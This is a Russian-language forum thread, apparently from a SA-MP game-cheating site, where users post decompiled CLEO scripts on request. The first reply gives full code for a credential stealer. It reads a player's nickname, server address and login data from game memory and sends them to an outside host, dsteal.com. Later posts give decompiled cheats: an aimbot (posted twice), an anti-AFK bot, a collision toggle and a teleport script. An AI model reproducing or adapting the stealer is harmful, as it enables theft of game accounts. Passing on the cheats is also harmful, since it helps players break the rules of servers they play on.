Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,758
5,724
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Код открыт. стиллер.
CLEO:
{$CLEO .cs}
0000:
wait 1750
0AB1: call_scm_func @Thread 1 @Stealer

0A93: end_custom_thread

:Stealer
0000:
While true
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@
0A8E: 3@ = 0@ + 2203896 // int
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0
    if 2@ > 1000
    then
    0A8E: 22@ = 2@ + 973 // int
    0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0
        if 2@ > 1000
        then
        0A8E: 5@ = 23@ + 24 // int
        0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0
            if 4@ > 1000
            then
            0A8E: 5@ = 4@ + 34 // int
            0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0
                if 24@ > 1000
                then
                0A8E: 22@ = 0@ + 2203832 // int
                0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0
                    if 1@ > 1000
                    then
                    0A8E: 7@ = 1@ + 40 // int
                    0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0
                    0A8E: 5@ = 1@ + 44 // int
                    0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0
                        if 6@ == 1
                        then
                            if or
                            26@ == 1
                            26@ == 3
                            then
                            25@ = 1
                            end
                        end
                        if and
                        25@ == 1
                        not 6@ == 1
                        then
                        0A8E: 7@ = 1@ + 48 // int
                        0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0
                        0A8E: 6@ = 1@ + 36 // int
                        0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0
                        0A8E: 6@ = 0@ + 528432 // int
                        0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@
                        0A8E: 6@ = 4@ + 26 // int
                        0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0
                        0A8E: 7@ = 4@ + 10 // int
                            if not 23@ >= 16
                            then
                            0085: 12@ = 7@ // (int)
                            else
                            0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0
                            end
                        wait 100
                        0A8E: 9@ = 2@ + 289 // int
                        0A8E: 14@ = 2@ + 32 // int
                        0A8E: 8@ = 2@ + 549 // int
                        0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0
                        0A8E: 18@ = 4@ + 42 // int
                        0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0
                        010B: 21@ = player $PLAYER_CHAR money
                        0AC6: 0@ = label @Base offset
                        0AC8: 20@ = allocate_memory_size 1024
                        0AC8: 22@ = allocate_memory_size 1024
                        call @BaseID 0 30@  // Base, Serv, IP, Port,
                        0AD3: 20@ = format "%d&&%s:%d&&%s&&%s&&%s&&%d" 30@ 14@ 15@ 9@ 12@ 5@ 3@
                        0C17: 21@ = strlen 20@
                        0C22: bin 20@ to_hex 20@ size 21@
                        0AD3: 22@ = format "%s%s" 0@ 20@
                        0ac8: 8@ = 256
                        0ad3: 8@ = "SAMP-Project"
                        0ab1: @InternetOpen 1 8@ to 9@
                        0ab1: @InternetOpenUrl 2 9@ 22@
                        0ac9: 8@
                        0ac9: 20@
                        0ac9: 22@
                        0006: 25@ = 0
                        end
                    end
                end
            end
        end
    end
end
:InternetOpen
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@
0AA7: function 29@ params 5 pop 0 {parameters} 0 0 0 {INTERNET_OPEN_TYPE_PRECONFIG} 0 {AGENT} 0@ {HANDLE} 1@
0ab2: 1 1@

:InternetOpenUrl
0AA2: 30@ = load_library "Wininet.dll" // IF and SET
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@
0AA7: function 29@ params 6 pop 0 0 0 0 0 1@ 0@ 2@
0ab2: 0
:BaseID           // БАЗА
0@ = 263
ret 1 0@

:Base
hex
"http:" 2f 2f "dsteal.com" 2f "ucp" 2f "include" 2f "add.php?data=" 00
end

:Thread
0A9F: 32@ = current_thread_pointer
000A: 32@ += 16
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
0062: 32@ -= 0@ // (int)
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@ 
005A: 32@ += 0@ // (int)
000A: 33@ += 16
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
000A: 33@ += 44
for 32@ = 0 to 30
    0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
    000A: 33@ += 4
    end
0ab2: 0
 
  • Нравится
Реакции: ven_vne

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Код открыт.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
03A4: name_thread "aafk"

:Label00000A
0001: wait 400 ms
0AFA:  is_samp_available
004D: jump_if_false @Label00000A
0B78: log "{ff9900}AntiAFK{ffffff}-bot by {ff9900}Arkember {ffffff}for {ff9900}BlastHack"
0B34: samp register_client_command "aafk" to_label @Label00010D

:Label000077
0001: wait 0 ms
00D6: if
0039:   31@ == 1
004D: jump_if_false @Label000106
0B2E: 6@ = read_samp_memory offset 82384 size 2
0B2D: write_samp_memory offset 82384 value 50064 size 2
0A8C: write_memory 7634870 size 1 value 1 virtual_protect 1
0A8C: write_memory 7635034 size 1 value 1 virtual_protect 1
0C11: memset destination 7623723 value 144 size 8
0C11: memset destination 5499528 value 144 size 6
00A0: store_actor $PLAYER_ACTOR position_to 1@ 2@ 3@
000A: 2@ += 100
05D3: AS_actor $PLAYER_ACTOR goto_point 1@ 2@ 3@ mode 4 time 3000 ms // versionA
0001: wait 5000 ms

:Label000106
0002: jump @Label000077

:Label00010D
0B12: 31@ = 31@ XOR 1
00D6: if
0039:   31@ == 1
004D: jump_if_false @Label000152
0AF8: samp add_message_to_chat "AntiAFK-bot {00ff00}enabled" color -1 
0002: jump @Label000175

:Label000152
0AF8: samp add_message_to_chat "AntiAFK-bot {ff0000}disabled" color -1 

:Label000175
0B43: samp cmd_ret
 

LaRossa

Потрачен
429
117
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
00D6: if
8AF7:   not samp 0@ = get_base
004D: jump_if_false @Noname_20
0A93: end_custom_thread

:Noname_20
0001: wait 100 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_20
0B34: samp register_client_command "plcol" to_label @Noname_165
0B34: samp register_client_command "ecol" to_label @Noname_165

:Noname_60
0001: wait 0 ms
00D6: if
8039:   not  1@ == 0
004D: jump_if_false @Noname_158
0006: 2@ = 0

:Noname_89
00D6: if
0B23:  samp is_player_connected 2@
004D: jump_if_false @Noname_136
0B20: samp 3@ = actor_handle_by_samp_player_id 2@
00D6: if
056D:   actor 3@ defined
004D: jump_if_false @Noname_136
0619: enable_actor 3@ collision_detection 0

:Noname_136
000A: 2@ += 1
0019:   2@ > 1000
004D: jump_if_false @Noname_89

:Noname_158
0002: jump @Noname_60

:Noname_165
0B12: 1@ = 1@ XOR 1
00D6: if
0039:   1@ == 1
004D: jump_if_false @Noname_250
0AF8: samp add_message_to_chat "[Player Collision]{FFFFFF} Активировано." color 65280 
0002: jump @Noname_297

:Noname_250
0AF8: samp add_message_to_chat "[Player Collision]{FFFFFF} Отключено." color 65280 

:Noname_297
0B43: samp cmd_ret
 
  • Нравится
Реакции: checkdasound

checkdasound

Известный
Проверенный
963
406
.
 

Вложения

  • dgun.cs
    59.9 KB · Просмотры: 10
  • ProAim.cs
    45.3 KB · Просмотры: 8

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
dgun.cs - стиллер.

ProAim.cs
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0006: 0@ = -26271
0050: gosub 0@
0000: NOP
0007: 31@ = 6.0

:Label00001B
0001: wait 0 ms
0050: gosub @Label0004BF
00D6: if
0039:   15@ == 1
004D: jump_if_false @Label0002D6
00D6: if
0AB0:   key_pressed 2
004D: jump_if_false @Label0002D6
0AB1: call_scm_func @Label000336 1 400.0 0@ 
00D6: if
056D:   actor 0@ defined
004D: jump_if_false @Label0002D6

:Label000069
0001: wait 0 ms
00D6: if
856D:   not actor 0@ defined
004D: jump_if_false @Label000084
0002: jump @Label0002D6

:Label000084
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.3
068D: get_camera_position_to 4@ 5@ 6@
00D6: if or
00DF:   actor 0@ driving
0118:   actor 0@ dead
82CB:   not actor 0@ bounding_sphere_visible
8AB0:   not key_pressed 2
86BD:   not no_obstacles_between 1@ 2@ 3@ and 4@ 5@ 6@ solid 1 car 1 actor 0 object 1 particle 0
004D: jump_if_false @Label0000EF
0002: jump @Label0002D6

:Label0000EF
00D6: if
0AB0:   key_pressed 1
004D: jump_if_false @Label00011E
0006: 29@ = 55
0006: 28@ = 255
0007: 27@ = 1.5
0002: jump @Label000137

:Label00011E
0006: 29@ = 255
0006: 28@ = 55
0007: 27@ = 1.0

:Label000137
00D6: if
0021:   31@ > 8.0
004D: jump_if_false @Label000153
0006: 30@ = 1

:Label000153
00D6: if
8031:   not  31@ >= 6.0
004D: jump_if_false @Label00016F
0006: 30@ = 0

:Label00016F
00D6: if
0039:   30@ == 0
004D: jump_if_false @Label00018B
000B: 31@ += 0.05

:Label00018B
00D6: if
0039:   30@ == 1
004D: jump_if_false @Label0001A7
000F: 31@ -= 0.05

:Label0001A7
03F0: enable_text_draw 1
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @Label0005AC 3 1@ 2@ 3@ 4@ 5@ 
0087: 1@ = 4@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 4@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
00D6: if
0AB0:   key_pressed 1
004D: jump_if_false @Label0002CF
0AB1: call_scm_func @Label00054D 0 1@ 2@ 3@ 
000F: 3@ -= 0.4
0AB1: call_scm_func @Label0002DD 4 0@ 1@ 2@ 3@ 

:Label0002CF
0002: jump @Label000069

:Label0002D6
0002: jump @Label00001B

:Label0002DD
0A96: 4@ = actor 0@ struct
000A: 4@ += 20
0A8D: 4@ = read_memory 4@ size 4 virtual_protect 0
000A: 4@ += 48
0A8C: write_memory 4@ size 4 value 1@ virtual_protect 0
000A: 4@ += 4
0A8C: write_memory 4@ size 4 value 2@ virtual_protect 0
000A: 4@ += 4
0A8C: write_memory 4@ size 4 value 3@ virtual_protect 0
0AB2: ret 0

:Label000336
0007: 28@ = 0.0

:Label000340
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
000A: 29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
0006: 30@ = 0

:Label000368
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
000A: 29@ += 1
00D6: if and
0029:   31@ >= 0
001B:   128 > 31@
004D: jump_if_false @Label000486
005A: 31@ += 30@ // (int)
00D6: if
056D:   actor 31@ defined
004D: jump_if_false @Label000486
00D6: if
803C:   not  $PLAYER_ACTOR == 31@ // (int)
004D: jump_if_false @Label000486
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
00D6: if and
06BD:   no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 1 actor 0 object 1 particle 0
80DF:   not actor 31@ driving
8118:   not actor 31@ dead
02CB:   actor 31@ bounding_sphere_visible
004D: jump_if_false @Label000486
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @Label0005AC 3 10@ 11@ 12@ 13@ 14@ 
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
00D6: if
0035:   28@ >= 15@ // (float)
004D: jump_if_false @Label000486
0AB2: ret 1 31@

:Label000486
000A: 30@ += 256
0019:   30@ > 35584
004D: jump_if_false @Label000368
000B: 28@ += 8.0
001D:   28@ > 0@ // (int)
004D: jump_if_false @Label000340
0AB2: ret 1 -1

:Label0004BF
00D6: if
0AB0:   key_pressed 121
004D: jump_if_false @Label00054B
00D6: if
0039:   15@ == 0
004D: jump_if_false @Label000516
0006: 15@ = 1
018C: play_sound 1083 at 0.0 0.0 0.0
0AD1: show_formatted_text_highpriority "PROAIM ~G~ON" time 1337 
0002: jump @Label000546

:Label000516
0006: 15@ = 0
018C: play_sound 1084 at 0.0 0.0 0.0
0AD1: show_formatted_text_highpriority "PROAIM ~R~OFF" time 1337 

:Label000546
0001: wait 350 ms

:Label00054B
0051: return

:Label00054D
00A0: store_actor $PLAYER_ACTOR position_to 1@ 2@ 3@
0A9F: 5@ = current_thread_pointer
000A: 5@ += 80
0A8E: 6@ = 5@ + 12 // int
0007: 4@ = 2.5
0AA6: call_method 5327216 struct 11989032 num_params 6 pop 0 6@ 5@ 3@ 2@ 1@ 4@ 
0AB2: ret 3 8@ 9@ 10@

:Label0005AC
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@ 
0007: 12@ = 640.0
0007: 13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@
 
  • Нравится
Реакции: checkdasound

checkdasound

Известный
Проверенный
963
406
dgun.cs - стиллер.

ProAim.cs
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0006: 0@ = -26271
0050: gosub 0@
0000: NOP
0007: 31@ = 6.0

:Label00001B
0001: wait 0 ms
0050: gosub @Label0004BF
00D6: if
0039:   15@ == 1
004D: jump_if_false @Label0002D6
00D6: if
0AB0:   key_pressed 2
004D: jump_if_false @Label0002D6
0AB1: call_scm_func @Label000336 1 400.0 0@
00D6: if
056D:   actor 0@ defined
004D: jump_if_false @Label0002D6

:Label000069
0001: wait 0 ms
00D6: if
856D:   not actor 0@ defined
004D: jump_if_false @Label000084
0002: jump @Label0002D6

:Label000084
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.3
068D: get_camera_position_to 4@ 5@ 6@
00D6: if or
00DF:   actor 0@ driving
0118:   actor 0@ dead
82CB:   not actor 0@ bounding_sphere_visible
8AB0:   not key_pressed 2
86BD:   not no_obstacles_between 1@ 2@ 3@ and 4@ 5@ 6@ solid 1 car 1 actor 0 object 1 particle 0
004D: jump_if_false @Label0000EF
0002: jump @Label0002D6

:Label0000EF
00D6: if
0AB0:   key_pressed 1
004D: jump_if_false @Label00011E
0006: 29@ = 55
0006: 28@ = 255
0007: 27@ = 1.5
0002: jump @Label000137

:Label00011E
0006: 29@ = 255
0006: 28@ = 55
0007: 27@ = 1.0

:Label000137
00D6: if
0021:   31@ > 8.0
004D: jump_if_false @Label000153
0006: 30@ = 1

:Label000153
00D6: if
8031:   not  31@ >= 6.0
004D: jump_if_false @Label00016F
0006: 30@ = 0

:Label00016F
00D6: if
0039:   30@ == 0
004D: jump_if_false @Label00018B
000B: 31@ += 0.05

:Label00018B
00D6: if
0039:   30@ == 1
004D: jump_if_false @Label0001A7
000F: 31@ -= 0.05

:Label0001A7
03F0: enable_text_draw 1
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @Label0005AC 3 1@ 2@ 3@ 4@ 5@
0087: 1@ = 4@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 4@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
00D6: if
0AB0:   key_pressed 1
004D: jump_if_false @Label0002CF
0AB1: call_scm_func @Label00054D 0 1@ 2@ 3@
000F: 3@ -= 0.4
0AB1: call_scm_func @Label0002DD 4 0@ 1@ 2@ 3@

:Label0002CF
0002: jump @Label000069

:Label0002D6
0002: jump @Label00001B

:Label0002DD
0A96: 4@ = actor 0@ struct
000A: 4@ += 20
0A8D: 4@ = read_memory 4@ size 4 virtual_protect 0
000A: 4@ += 48
0A8C: write_memory 4@ size 4 value 1@ virtual_protect 0
000A: 4@ += 4
0A8C: write_memory 4@ size 4 value 2@ virtual_protect 0
000A: 4@ += 4
0A8C: write_memory 4@ size 4 value 3@ virtual_protect 0
0AB2: ret 0

:Label000336
0007: 28@ = 0.0

:Label000340
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
000A: 29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
0006: 30@ = 0

:Label000368
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
000A: 29@ += 1
00D6: if and
0029:   31@ >= 0
001B:   128 > 31@
004D: jump_if_false @Label000486
005A: 31@ += 30@ // (int)
00D6: if
056D:   actor 31@ defined
004D: jump_if_false @Label000486
00D6: if
803C:   not  $PLAYER_ACTOR == 31@ // (int)
004D: jump_if_false @Label000486
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
00D6: if and
06BD:   no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 1 actor 0 object 1 particle 0
80DF:   not actor 31@ driving
8118:   not actor 31@ dead
02CB:   actor 31@ bounding_sphere_visible
004D: jump_if_false @Label000486
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @Label0005AC 3 10@ 11@ 12@ 13@ 14@
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
00D6: if
0035:   28@ >= 15@ // (float)
004D: jump_if_false @Label000486
0AB2: ret 1 31@

:Label000486
000A: 30@ += 256
0019:   30@ > 35584
004D: jump_if_false @Label000368
000B: 28@ += 8.0
001D:   28@ > 0@ // (int)
004D: jump_if_false @Label000340
0AB2: ret 1 -1

:Label0004BF
00D6: if
0AB0:   key_pressed 121
004D: jump_if_false @Label00054B
00D6: if
0039:   15@ == 0
004D: jump_if_false @Label000516
0006: 15@ = 1
018C: play_sound 1083 at 0.0 0.0 0.0
0AD1: show_formatted_text_highpriority "PROAIM ~G~ON" time 1337
0002: jump @Label000546

:Label000516
0006: 15@ = 0
018C: play_sound 1084 at 0.0 0.0 0.0
0AD1: show_formatted_text_highpriority "PROAIM ~R~OFF" time 1337

:Label000546
0001: wait 350 ms

:Label00054B
0051: return

:Label00054D
00A0: store_actor $PLAYER_ACTOR position_to 1@ 2@ 3@
0A9F: 5@ = current_thread_pointer
000A: 5@ += 80
0A8E: 6@ = 5@ + 12 // int
0007: 4@ = 2.5
0AA6: call_method 5327216 struct 11989032 num_params 6 pop 0 6@ 5@ 3@ 2@ 1@ 4@
0AB2: ret 3 8@ 9@ 10@

:Label0005AC
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@
0007: 12@ = 640.0
0007: 13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@
Я знаю, что там стиллер, но ты мог бы мне код скинуть?
 

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

thx killa

Известный
15
8
Последнее редактирование модератором:

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP

:Label000002
0001: wait 200 ms
00D6: if
0AFA:  is_samp_available
004D: jump_if_false @Label000002
0001: wait 1000 ms
0AF8: samp add_message_to_chat "{CD5C5C}[CLEO Lichka Arizona] - By Voron928 {ADFF2F}Successfully loaded" color -1 
0B34: samp register_client_command "lichka" to_label @Label000137
0006: 0@ = 0

:Label00007D
0001: wait 0 ms
09E8: 2@ = actor $PLAYER_ACTOR active_interior
00D6: if and
0039:   1@ == 1
0039:   2@ == 0
004D: jump_if_false @Label000130
00A0: store_actor $PLAYER_ACTOR position_to 4@ 5@ 6@
04C4: store_coords_to 8@ 9@ 10@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 -1.0
00A1: put_actor $PLAYER_ACTOR at -1397.905 502.7131 10.3047
0C72: set_virtual_key 18 down 1
0001: wait 2000 ms
00A1: put_actor $PLAYER_ACTOR at 8@ 9@ 10@
018C: play_sound 1139 at 0.0 0.0 0.0
0C72: set_virtual_key 18 down 0
00A1: put_actor $PLAYER_ACTOR at 4@ 5@ 6@
0006: 1@ = 0
0006: 2@ = 0

:Label000130
0002: jump @Label00007D

:Label000137
0B12: 0@ = 0@ XOR 1
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label00020D
09E8: 2@ = actor $PLAYER_ACTOR active_interior
00D6: if
0039:   2@ == 0
004D: jump_if_false @Label0001B9
0AF8: samp add_message_to_chat "{DC143C}[Информация] - Зайдите в любой интерьер!" color -1 
0006: 0@ = 0
0006: 1@ = 0
0002: jump @Label000206

:Label0001B9
0AF8: samp add_message_to_chat "{DC143C}[Информация] - Чтобы взять личку, выйдите из интерьера." color -1 
0006: 1@ = 1

:Label000206
0002: jump @Label00020D

:Label00020D
0B43: samp cmd_ret